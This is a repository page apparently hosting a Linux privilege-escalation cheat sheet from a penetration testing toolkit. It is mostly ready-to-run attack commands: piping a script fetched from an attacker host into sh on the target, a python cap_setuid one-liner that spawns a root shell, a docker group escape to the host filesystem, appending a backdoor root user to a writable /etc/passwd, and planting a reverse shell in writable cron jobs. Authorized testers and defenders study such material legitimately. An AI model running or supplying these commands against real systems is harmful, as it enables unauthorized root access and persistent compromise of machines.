repositories

voidwalker.py

Penetration testing arsenal builder and workspace manager for macOS and Linux

clonegit clone https://git.daemon-sec.xyz/voidwalker.py.git
linux-privesc.mdMarkdown40 lines1.3 KiBsource raw download

Linux privesc#

Auto-enum#

./linpeas.sh | tee linpeas.txt
# serve from attacker: python3 -m http.server 80  ; on target: curl http://$LHOST/linpeas.sh|sh

Quick manual checks#

id; sudo -l                      # sudo rights (GTFOBins!)
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
getcap -r / 2>/dev/null          # capabilities
cat /etc/crontab; ls -la /etc/cron.*     # cron jobs
ps aux --forest                  # running as root?
uname -a; cat /etc/os-release    # kernel / distro (exploits)
ss -tlnp                         # internal services to pivot

Common wins#

Finding Exploit
sudo -l allows a binary check GTFOBins for that binary
SUID find/vim/nmap/... GTFOBins SUID section
writable /etc/passwd add root user with openssl passwd hash
writable cron script drop a reverse shell, wait
cap_setuid on python/perl python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
docker group docker run -v /:/mnt -it alpine chroot /mnt sh

Writable /etc/passwd#

openssl passwd -1 -salt x pass            # -> $1$x$...
echo 'r00t:$1$x$...:0:0::/root:/bin/bash' >> /etc/passwd
su r00t

Spawn after escalation#

echo 'int main(){setuid(0);system("/bin/bash");}' # for writable SUID-owned source